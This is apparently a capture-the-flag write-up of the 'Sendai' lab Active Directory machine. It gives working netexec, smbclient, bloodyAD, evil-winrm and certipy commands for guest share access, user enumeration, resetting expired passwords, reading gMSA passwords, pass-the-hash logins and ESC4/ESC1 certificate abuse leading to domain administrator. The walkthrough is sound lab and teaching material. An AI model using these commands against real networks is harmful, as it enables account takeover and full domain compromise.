# Sendai

* * *

## OVERVIEW

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/caeb6d8a-a6b0-4a1b-b4a3-da9cf5f7d417.png align="center")

So we have been told the user flag will be in C:/ directory and also gave us the target IP address

Let's start the enumeration using NMAP

## ENUMERATION

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/d29b3e81-0b28-458e-8720-7a767d0cf386.png align="center")

Let's start with Anonymous Login with netexec using guest as the username and empty password

```apache
nxc smb 10.129.234.66 -u guest -p '' 
```

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/813249b1-d6de-4351-9b2b-b5ec7c13943b.png align="center")

We successfully authenticated so lets enumerate shares also

```apache
nxc smb 10.129.234.66 -u guest -p '' --shares
```

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/4ed730f4-5bf9-4ba7-b117-9a3a46e74f04.png align="center")

We got read access on two useful shares **sendai** and **Users**

**Let's use smbclient to dump all the data in these shares into our local machine**

```apache
smbclient -U guest%'' //10.129.234.66/Users -c 'prompt OFF;recurse ON;mget *'
```

```plaintext
smbclient -U guest%'' //10.129.234.66/sendai -c 'prompt OFF;recurse ON;mget *'
```

So when everything will be downloaded to your local machine you will see one file named as **incident.txt**

<details data-node-type="hn-details-summary">
<summary>Incident.txt</summary>
<p>Dear valued employees,</p><p>We hope this message finds you well. We would like to inform you about an important security update regarding user account passwords. Recently, we conducted a thorough penetration test, which revealed that a significant number of user accounts have weak and insecure passwords.</p><p>To address this concern and maintain the highest level of security within our organization, the IT department has taken immediate action. All user accounts with insecure passwords have been expired as a precautionary measure. This means that affected users will be required to change their passwords upon their next login.</p><p>We kindly request all impacted users to follow the password reset process promptly to ensure the security and integrity of our systems. Please bear in mind that strong passwords play a crucial role in safeguarding sensitive information and protecting our network from potential threats.</p><p>If you need assistance or have any questions regarding the password reset procedure, please don't hesitate to reach out to the IT support team. They will be more than happy to guide you through the process and provide any necessary support.</p><p>Thank you for your cooperation and commitment to maintaining a secure environment for all of us. Your vigilance and adherence to robust security practices contribute significantly to our collective safety.</p>
</details>

This tells us that some users maybe are on `Forced Password Reset State`

> This is the **PASSWD\_NOTREQD / Password Must Change** flag in Active Directory / SAM. When set, the `pwdLastSet` attribute is `0`, meaning the account's password expired at epoch — Windows forces a reset on next login.

So if we have list of users we can check them against a service with empty password to find out the users which are at Forced Password Reset State

Since we have Null Authentication so lets do **rid bruteforce** using nxc

```plaintext
nxc smb 10.129.234.66 -u guest -p '' --rid-brute
```

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/853b0a7f-a68c-4242-b13d-86d9844622e3.png align="center")

Now copy all the user and machine accounts and make a users.txt list

```plaintext
Administrator
Guest
krbtgt
DC$
sqlsvc
websvc
Dorothy.Jones
Kerry.Robinson
Naomi.Gardner
Anthony.Smith
Susan.Harper
Stephen.Simpson
Marie.Gallagher
Kathleen.Kelly
Norman.Baxter
Jason.Brady
Elliot.Yates
Malcolm.Smith
Lisa.Williams
Ross.Sullivan
Clifford.Davey
Declan.Jenkins
Lawrence.Grant
Leslie.Johnson
Megan.Edwards
Thomas.Powell
mgtsvc$
```

Now lets bruteforce these usernames with empty password against SMB service to find out if any user is at Forced Password Reset State

```plaintext
nxc smb 10.129.234.66 -u users.txt -p '' --continue-on-success
```

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/e2af8653-17e7-4361-a83d-8482eb71d0d2.png align="center")

We got two accounts that shows `STATUS_PASSWORD_MUST_CHANGE` so lets change `Elliot.Yates` password using nxc

```plaintext
nxc smb 10.129.234.66 -u Elliot.Yates -p '' -M change-password -o NEWPASS='Sendai2025'
```

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/c5514126-fbee-4bfc-98c7-a1873e032fff.png align="center")

Now lets get bloodhound zip file to see if Elliot.Yates have any rights on other user/groups or not

```plaintext
bloodhound-python -u Elliot.Yates -p Sendai2025 -d sendai.vl -ns 10.129.234.66 -c ALL --zip
```

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/81adaf96-37af-4117-b707-b89f9744d7e4.png align="center")

Now lets open bloodhound and see the rights

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/d24340ce-d4c5-488a-b06e-67c85e7b4379.png align="center")

We can see that Elliot is the member of Support group which has `GenericAll` Rights on ADMSVC group

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/8e514f3b-3574-4c9a-947a-30a1f3067295.png align="center")

Further this groups has `ReadGMSAPassword` permission on `MGTSVC$@SENDAI.VL` machine account

So If we add `Elliot.Yates` to the `ADMSVC` group then we can read GMSA password for `MGTSVC$` account

```plaintext
bloodyAD -u Elliot.Yates -p Sendai2025 -d sendai.vl --host DC.sendai.vl add groupMember ADMSVC Elliot.Yates
```

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/9c7ee46b-3f7e-4c52-ac96-15ee87574841.png align="center")

Now lets try to read gmsa password for the `MGTSVC$` account

```plaintext
nxc ldap 10.129.234.66 -u elliot.yates -p Sendai2025 --gmsa
```

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/a5f09c88-1fdf-43ee-b853-dbb0b2dfb409.png align="center")

And from Bloodhound we know that `MGTSVC$` is a member of Remote Management Users so we can do evil-winrm into it

## USER FLAG

```plaintext
evil-winrm -i 10.129.234.66 -u mgtsvc$ -H <REDACTED>
```

Now get the user flag from the C:/ directory

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/f3c11459-7e21-4ae7-89db-4969e015ecb3.png align="center")

* * *

## LATERAL MOVEMENT

As I got the user flag i searched for privesc vectors so did `whoami /all` and found that there is `BUILTIN\Certificate Service DCOM Access` group whose `MGTSVC$` account is part off

So i ran certipy to find any vulnerable templates

```plaintext
certipy find -u 'mgtsvc$@sendai.vl' -hashes :e091550<SNIP>c6051 -dc-ip 10.129.234.66 -vulnerable -stdout
```

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/812d460e-f9e0-4f87-a498-375c5bf0605d.png align="center")

Found No templates so then ran `winPEAS.exe` in order to find anything for Privilege Escalation

On running `winPEAS.exe` i didn't found any privesc vector worth indulging into so i started looking for services in the machine

First I searched for **MicrosoftEdge** services

```plaintext
ls HKLM:\System\Currentcontrolset\services | findstr Microsoft
```

Didn't find anything interesting so i moved to helpdesk service next

```plaintext
ls HKLM:\System\Currentcontrolset\services | findstr helpdesk
```

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/078df95d-e068-48bf-a6a9-c8ddf2eda052.png align="center")

Found the Clifford.Davey user credentials lets try it against smb service whether it is right or not

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/15614ae1-2311-4656-9e21-70b5946508c3.png align="center")

It worked , now let's see in bloodhound that he has some good rights or not

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/56e29082-4896-42ff-84b3-9adc465e0778.png align="center")

## PRIVILEGE ESCALATION  

`Clifford.Davey` is the Member of `CA-OPERATORS` group so it might have some vulnerable template so let's check it

```plaintext
certipy find -u 'clifford.davey@sendai.vl' -p <READCTED> -dc-ip 10.129.234.66 -vulnerable -stdout
```

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/f9d5e957-8609-422d-aee3-e3bde11d4f73.png align="center")

BINGO! we got `ESC4` Vulnerability

> With this access, an attacker can reconfigure the template to inject vulnerable parameters.
> 
> In this case, it involves adding the ability to manually define the `subjectAltName` field via the `mspki-certificate-name-flag` property, which is precisely one of the conditions required to execute an ESC1 attack.

```plaintext
certipy template -u 'clifford.davey@sendai.vl' -p <READCTED> -template SendaiComputer -write-default-configuration -dc-ip 10.129.234.66
```

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/18db618b-543e-47ef-b282-791d1ff587fa.png align="center")

Now we have made changes in the `SendaiComputer` template and now it should be vulnerable to `ESC1` vulnerablity

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/a9c126e9-d786-4aa0-97e1-613737b83636.png align="center")

Here it is `ESC1` is now enabled now we can request certificate for impersonating administrator/domain controller  
You can get administrator sid through earlier RID-Bruteforce output or through bloodhound

```plaintext
certipy req -u 'clifford.davey@sendai.vl' -p <REDACTED> -dc-ip 10.129.234.66 -target DC.sendai.vl -template SendaiComputer -ca sendai-DC-CA -upn 'administrator@sendai.vl' -sid S-1-5-21-3085872742-570972823-736764132-500 
```

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/956b6e47-00dc-411a-a84c-75b10930535d.png align="center")

now lets obtain administrator NT hash

```plaintext
certipy auth -pfx administrator.pfx -dc-ip 10.129.234.66
```

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/c644d843-3325-4945-8830-ac500f2a68c9.png align="center")

## ROOT FLAG

Now let's evil-winrm into it and get the root flag

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/f45fa735-7664-4603-a300-3eb96efea376.png align="center")

## **WE FINALLY DID IT !!!! CHALLENGE SOLVED !!**

![](https://cdn.hashnode.com/uploads/covers/6873376c37ec115b36ed53d8/9015c714-2229-4926-b676-d1d45f8cf0d7.png align="center")

For Any Query Or Problem Either Leave A Comment Or Contact At [**reapsec.com**](http://reapsec.com)

**THANKS FOR READING !!!**
